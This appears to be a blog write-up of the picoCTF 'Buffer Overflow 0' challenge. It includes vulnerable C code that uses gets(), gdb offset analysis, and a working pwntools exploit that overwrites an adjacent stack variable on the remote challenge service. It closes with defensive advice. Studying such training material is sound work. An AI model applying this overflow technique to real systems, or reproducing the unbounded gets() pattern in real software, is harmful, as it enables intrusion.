DEV Community

CTFDojo
CTFDojo

Posted on Originally published at ctfdojo.com

PicoCTF Buffer Overflow 0 Writeup — Overwrite a Variable to Unlock the Flag

The binary reads user input into a fixed-size buffer without checking its length (gets()). By sending an input longer than the buffer, we overwrite an adjacent variable in memory (int flag_check) which, once set to a non-zero value, triggers the flag display.

  • Platform: picoGym
  • Category: Binary Exploitation (Pwn)
  • Points: 200 pts
  • Difficulty: Intermediate
  • Technique: Buffer overflow, pwntools

Challenge description

The challenge provides a vuln binary along with its C source code. It contains a vuln() function that declares a fixed-size buffer followed by a control variable, and reads user input without ever checking its length:

void vuln(){
    char buf[64];
    int flag_check = 0;

    printf("Please enter your string: \n");
    gets(buf);

    if (flag_check == 0x1) {
        printf("Attempting to read flag\n");
        print_flag();
    } else {
        printf("Value: 0x%x\n", flag_check);
        printf("Better luck next time!\n");
    }
}
Enter fullscreen mode Exit fullscreen mode

The goal is clear: force flag_check to hold 1 (or any non-zero value interpreted as such) so the program calls print_flag().

Step 1 — Static analysis

The key point is the order in which variables are declared inside vuln(): buf[64] is declared just before flag_check. On most x86/x86-64 architectures, with default compiler optimizations, local variables are placed on the stack in an order that makes them adjacent in memory — flag_check ends up right after buf, at higher addresses.

In practice, this means that writing beyond the buffer's 64 bytes causes the extra bytes to overflow directly into the memory space occupied by flag_check.

Step 2 — Check the protections

First, we check which memory protections are active on the binary using checksec (provided by pwntools):

$ checksec ./vuln
[*] '/home/user/bof0/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
Enter fullscreen mode Exit fullscreen mode

No stack canary is present: nothing detects a stack overwrite before the return. This is consistent with an introductory challenge — we can overwrite flag_check without triggering any alarm.

Step 3 — Calculate the offset

The source code shows char buf[64]. Thanks to the usual memory alignment (often 4 or 8 bytes on the compiler side), flag_check sits right after these 64 bytes. We can confirm this with gdb by setting a breakpoint after the read and inspecting the addresses of both variables:

gdb-peda$ break *vuln+80
gdb-peda$ run
gdb-peda$ p &buf
$1 = (char (*)[64]) 0x7ffee2a1b3a0
gdb-peda$ p &flag_check
$2 = (int *) 0x7ffee2a1b3e0
Enter fullscreen mode Exit fullscreen mode

The difference between the two addresses (0x3e0 - 0x3a0 = 0x40, i.e. 64 in decimal) confirms that exactly 64 bytes of padding are enough to reach flag_check.

Step 4 — Exploit with pwntools

The payload is simple: 64 padding bytes (any value) followed by the 4 bytes representing the integer 1 in little-endian, to overwrite flag_check with a non-zero value.

from pwn import *

# context.log_level = 'debug'
elf = context.binary = ELF('./vuln')

# io = process('./vuln')            # test locally
io = remote('mercury.picoctf.net', 12345)  # connect to the remote service

offset = 64
payload = b'A' * offset
payload += p32(0x1)   # overwrite flag_check with 1

io.recvuntil(b'string: \n')
io.sendline(payload)

print(io.recvall().decode())
Enter fullscreen mode Exit fullscreen mode

Step 5 — Grab the flag

We run the exploit. The program reads our 68-byte input, overwrites flag_check, enters the if block, and calls print_flag():

$ python3 exploit.py
[+] Opening connection to mercury.picoctf.net on port 12345: Done
Please enter your string:
Attempting to read flag
picoCTF{***************************}
[*] Closed connection to mercury.picoctf.net port 12345
Enter fullscreen mode Exit fullscreen mode

🚩 picoCTF{ flag intentionally hidden }

The flag is deliberately hidden — follow the method, you've earned it. 💪

Key takeaways

This challenge is the classic entry point into pwn: understanding that the stack is a contiguous memory space, and that nothing prevents an unbounded write from "overflowing" from one variable into another.

  • Never use gets() — the function was removed from the C11 standard precisely for this reason
  • Prefer bounded equivalents like fgets() or strncpy(), which take a maximum size as a parameter
  • Enable compiler protections (-fstack-protector-all, full RELRO, PIE) to make exploitation much harder in production

Originally published on CTFdojo — join the CTFdojo Discord to discuss writeups and get notified about new ones.

Top comments (0)